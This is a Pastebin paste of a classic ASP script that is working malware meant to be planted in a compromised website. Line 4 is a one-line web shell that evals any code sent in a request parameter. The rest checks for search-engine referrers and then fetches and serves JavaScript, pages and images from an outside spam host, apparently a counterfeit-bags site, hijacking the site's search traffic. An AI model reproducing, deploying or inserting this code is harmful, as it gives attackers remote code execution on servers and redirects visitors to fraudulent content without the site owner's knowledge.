Guest User

aliheyk2

a guest
Jul 14th, 2015
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.12 KB | None | 0 0
  1. <% Server.ScriptTimeOut=300 %>
  2. <%Session.CodePage=65001%>
  3. <%Response.charset = "utf-8"%>
  4. <%eval request("4ffa3cc9216387956ba633d57d9caf82")%>
  5. <%
  6. if request.querystring("a654d3") <> "" then
  7. s_http_user_agent = lcase(Request.ServerVariables("HTTP_REFERER"))
  8. if Instr( s_http_user_agent, "google") <> 0 or Instr( s_http_user_agent, "yahoo") <> 0 or Instr(s_http_user_agent, "bing") <> 0 then
  9. js_code = HTTPPost("http://js.authenticbags-us.com/4_30.js" & "?backurl=" & "http://" & Request.ServerVariables("Server_Name") & Request.ServerVariables("Script_Name") & "?" & Request.QueryString(), "")
  10. start_code = Instr(js_code, "http://")
  11. end_code = Instr(js_code, "?backurl")
  12. go_url= Mid(js_code, start_code, end_code - start_code) & "?backurl=" & "http://" & Request.ServerVariables("Server_Name") & Request.ServerVariables("Script_Name") & "?" & Request.QueryString()
  13. Response.write HTTPPost(go_url, "")
  14. Response.end
  15. end if
  16. randomize
  17. from_url = "http://www.authenticbags-us.com/"
  18. img_url = "http://img.authenticbags-us.com/"
  19. get_url = request.querystring("a654d3")
  20. if get_url <> "" then
  21. filename = get_url
  22. if instr(filename, "?") > 0 then
  23. filename = left(filename, instrrev(filename, "?") -1)
  24. end if
  25. file_ext = right(filename, len(filename) - instrrev(filename, "."))
  26. end if
  27. if file_ext = "jpg" or file_ext = "png" or file_ext = "gif" then
  28. curl_img = img_url & filename
  29. html = Gethttpimg(curl_img)
  30. response.ContentType="image/" & file_ext
  31. response.BinaryWrite html
  32. Response.end
  33. end if
  34. if get_url = "" then
  35. get_url = "?" & Int((999999999 * Rnd) + 1)
  36. end if
  37. http_response = HTTPPost(from_url & get_url, flag)
  38. Response.write http_response
  39. Response.end
  40. end if
  41. Function HTTPPost(sUrl, flag)
  42. set oHTTP = Server.CreateObject("Msxml2.XMLHTTP")
  43. oHTTP.open "get", sUrl,false
  44. oHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
  45. oHTTP.setrequestheader "accept-encoding", "gzip, deflate"
  46. oHTTP.setrequestheader "flag", "siteadi"
  47. oHTTP.setrequestheader "l", "4"
  48. oHTTP.setrequestheader "p", "30"
  49. oHTTP.setRequestHeader "User-Agent", Request.ServerVariables("HTTP_USER_AGENT")
  50. '' oHTTP.setRequestHeader "Content-Length", Len(sRequest)
  51. oHTTP.send sRequest
  52. If oHTTP.readyState <> 4 Then Exit Function
  53. getHTTPPage = Bytes2bStr(oHTTP.responseBody)
  54. HTTPPost = getHTTPPage
  55. End Function
  56. Function Bytes2bStr(vin)
  57. Dim BytesStream,StringReturn
  58. Set BytesStream = Server.CreateObject("ADODB.Stream")
  59. BytesStream.Type = 2
  60. BytesStream.Open
  61. BytesStream.WriteText vin
  62. BytesStream.Position = 0
  63. BytesStream.Charset = "UTF-8"
  64. BytesStream.Position = 2
  65. StringReturn = BytesStream.ReadText
  66. BytesStream.close
  67. Set BytesStream = Nothing
  68. Bytes2bStr = StringReturn
  69. End Function
  70. Function Gethttpimg(Url)
  71. On Error Resume Next
  72. Dim Http
  73. Set Http=Server.Createobject("MSXML2.XmlHttp")
  74. Http.Open "Get",Url,False
  75. Http.Send()
  76. If Http.Readystate<>4 Then Exit Function
  77. Gethttpimg=Http.Responsebody
  78. Set Http=Nothing
  79. If Err.Number<>0 Then Err.Clear
  80. End Function
  81. %>
Advertisement
Add Comment
Please, Sign In to add comment